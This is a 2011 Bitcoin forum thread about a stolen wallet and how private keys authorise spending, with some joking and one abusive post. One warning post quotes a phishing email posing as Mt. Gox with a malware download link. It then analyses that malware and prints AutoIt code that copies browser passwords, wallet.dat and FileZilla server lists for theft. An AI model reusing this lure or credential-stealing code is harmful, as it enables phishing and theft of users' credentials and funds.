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June 28, 2011, 02:17:38 AM
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Yes, exactly my point.  It seems the system would be greatly improved if the sender had the ability to "verify" a transaction.  Thus, my money could only be used by me (when I verify it) and then it becomes yours.

You verify it with your private key... so don't lose your private key.

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June 29, 2011, 07:38:56 AM
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OP did you make any progress?

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June 29, 2011, 02:43:25 PM
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Yeah OP, is there anything the patron saint of wallet-fail can do for you?

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June 29, 2011, 09:52:46 PM
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did u have a dropbox account with your wallet stored? if yes, you got the solution

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June 29, 2011, 09:57:32 PM
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I DONT UNDERSTAND!!!!111!! I PUT MY PIN CODE INSIDE THE JACKET OF MY ATM CARD SO NO ONE CAN SEE IT! HOW DID MY MONEY GET STOLEN!?!?!?!

lol

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June 29, 2011, 10:07:21 PM
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I DONT UNDERSTAND!!!!111!! I PUT MY PIN CODE INSIDE THE JACKET OF MY ATM CARD SO NO ONE CAN SEE IT! HOW DID MY MONEY GET STOLEN!?!?!?!

lol

Bizarre!

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June 29, 2011, 10:11:19 PM
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Yes, and in that sense Windows can provide the exact same protection, because even back in XP there was an option to encrypt/shut off your user directory, so that other users (even administrators) couldn't access it.

Is there any third party software that makes use of permissions in Windows like this effectively?  Is there a way to handle this type of usage case, even for versions of Windows without user configurable permissions (i.e. versions below Pro)?
As far as I know, it doesn't actually work, kust makes the stuff impossible to list, but if you know the name of a file, you can get it. That, or my school network does it wrong Smiley
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June 30, 2011, 05:48:52 AM
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Yeah OP, is there anything the patron saint of wallet-fail can do for you?


Would you just kindly FUCK OFF!! I'm tired of you trolling me on every post that I make you ignorant asshole!


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June 30, 2011, 05:51:41 AM
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I DONT UNDERSTAND!!!!111!! I PUT MY PIN CODE INSIDE THE JACKET OF MY ATM CARD SO NO ONE CAN SEE IT! HOW DID MY MONEY GET STOLEN!?!?!?!

lol

Was it 1077? The price of a cheese pizza and large soda?

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June 30, 2011, 05:54:12 AM
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Was it 1077? The price of a cheese pizza and large soda?


Yea, which was all fine and dandy until the price of a cheese pizza and soda went up

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July 04, 2011, 02:04:01 PM
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You can only use a password to protect (= encrypt) the private keys. Once someone has those keys he can do what he wants.
Yes, exactly my point.  It seems the system would be greatly improved if the sender had the ability to "verify" a transaction.  Thus, my money could only be used by me (when I verify it) and then it becomes yours.

Such a system would make the Bitcoin extremely attractive!
That's not technically possible. That is what your private key does - it authorizes a transaction. You can put a transaction password on your client, but that doesn't do anything if someone steals your wallet.dat - because they can just use the wallet.dat in a client that does not have that protection. If you have the private keys, you can spend the bitcoins, and there is to the best of my knowledge no technically possible way to prevent that.

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July 04, 2011, 10:43:48 PM
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I DONT UNDERSTAND!!!!111!! I PUT MY PIN CODE INSIDE THE JACKET OF MY ATM CARD SO NO ONE CAN SEE IT! HOW DID MY MONEY GET STOLEN!?!?!?!

lol

Was it 1077? The price of a cheese pizza and large soda?


+1 for the Futurama reference lol

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July 04, 2011, 11:42:30 PM
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You didn't fall for this email, did you:

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Dear Mt.Gox user,

As i'm sure most of you are well aware, there has been a serious compromise of Mt. Gox's database.

We implore all of our users to take safety precautions to ensure their assets are not at risk, as your password may have been compromised

Please Follow the instructions here (Instructions are given by text and an image) : http://www.fileden.com/files/2011/6/17/3153783/Mt.Gox-Safety-Tutorials.rar

It is very important that you follow these instructions to prevent any further compromises on other sites that you browse.

Thanks,

The Mt.Gox team

BTW, how can you be confident about viruses, etc, if you have an unencrypted wallet and you lost all your BTC from it. I mean, really, think about it.


Sorry to go a bit offtopic, but the robber who created that virus really went hardcore; full time robber!
Here's what it goes after (it's an AutoIt script compiled and UPX packed):

Code:
FileCopy(Execute(" @AppDataDir ") & "\Mozilla\Firefox\Profiles\" & $Var1512 & "\key3.db", "C:\temp1\")
FileCopy(Execute(" @AppDataDir ") & "\Mozilla\Firefox\Profiles\" & $Var1512 & "\signons*", "C:\temp1\signons")
FileCopy(Execute(" @AppDataDir ") & "\bitcoin\" & "wallet.dat", "C:\temp1\")
FileCopy(Execute(" @AppDataDir ") & "\filezilla\" & "recentservers.xml", "C:\temp1\")

And sends it to:

clintonlowe46@gmail.com

EDIT: For those wondering if are infected, look for a folder names "readme" with a file inside named ""READ-FIRST.txt", inside your AppData dir (C:\documents and settings\<user>\Application Data (2k/xp) - c:\users\<user>\AppData\Roaming (Vista/7))
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